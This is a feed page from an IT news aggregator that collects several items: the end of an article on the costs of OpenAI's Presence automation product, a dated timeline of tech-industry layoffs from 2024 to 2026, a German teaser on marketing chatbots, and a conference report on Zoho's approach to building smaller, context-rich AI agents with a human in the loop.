<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[So revolutionieren Chatbots das Onlinemarketing]]></title>
<description><![CDATA[Chatbots sind im Onlinemarketing kein Zukunftsthema mehr. Sie beraten User, beantworten Fragen, erfassen Leads und begleiten die Kundschaft bis zum Kauf. Dieser Artikel zeigt, wie Sie eine Chatbot-Marketing-Strategie aufbauen, welche Einsatzbereiche sich eignen und wie sich der Erfolg messen lässt.]]></description>
<link>https://tsecurity.de/de/3688713/server/so-revolutionieren-chatbots-das-onlinemarketing/</link>
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<pubDate>Thu, 23 Jul 2026 12:31:03 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://www.ionos.de/digitalguide/fileadmin/DigitalGuide/Teaser/knowledge-t.jpg" width="1200" height="630" alt=""><br>Chatbots sind im Onlinemarketing kein Zukunftsthema mehr. Sie beraten User, beantworten Fragen, erfassen Leads und begleiten die Kundschaft bis zum Kauf. Dieser Artikel zeigt, wie Sie eine Chatbot-Marketing-Strategie aufbauen, welche Einsatzbereiche sich eignen und wie sich der Erfolg messen lässt.]]></content:encoded>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
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<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
